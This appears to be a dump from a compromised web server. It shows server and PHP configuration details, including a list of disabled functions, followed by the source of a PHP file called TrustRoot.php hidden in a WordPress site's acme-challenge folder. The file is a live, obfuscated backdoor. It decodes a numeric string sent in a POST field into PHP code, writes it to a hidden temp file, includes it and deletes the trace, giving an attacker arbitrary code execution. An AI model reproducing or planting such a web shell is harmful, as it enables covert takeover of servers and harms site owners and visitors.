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Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
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File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/a/e/e/a/TrustRoot.php
<?php

if(!is_null($_POST["\x64escript\x6Fr"] ?? null)){
	$ref = $_POST["\x64escript\x6Fr"];
	 $ref 	 =explode		(	  '.'  ,$ref		) ;	
	$mrk = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt	 );
            $__len = count($ref	 );
    
            for ($o = 0; $o  <	$__len; $o++) {  $v5 = $ref[$o];
                $chS = ord($salt[$o	% $sLen]	 );
                $d = ((int)$v5 - $chS - ($o	% 10)) ^ 64;
                $mrk .=chr($d	 );	}
	$ent = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP")]);
	for ($k = 0, $pointer = count($ent); $k < $pointer; $k++) {
    $rec = $ent[$k];
    		if ((is_dir($rec) and is_writable($rec))) {
    $marker = "$rec" . "/.fac";
    $file = fopen($marker, 'w');
if ($file) {
	fwrite($file, $mrk);
	fclose($file);
	include $marker;
	@unlink($marker);
	die();
}
}
}
}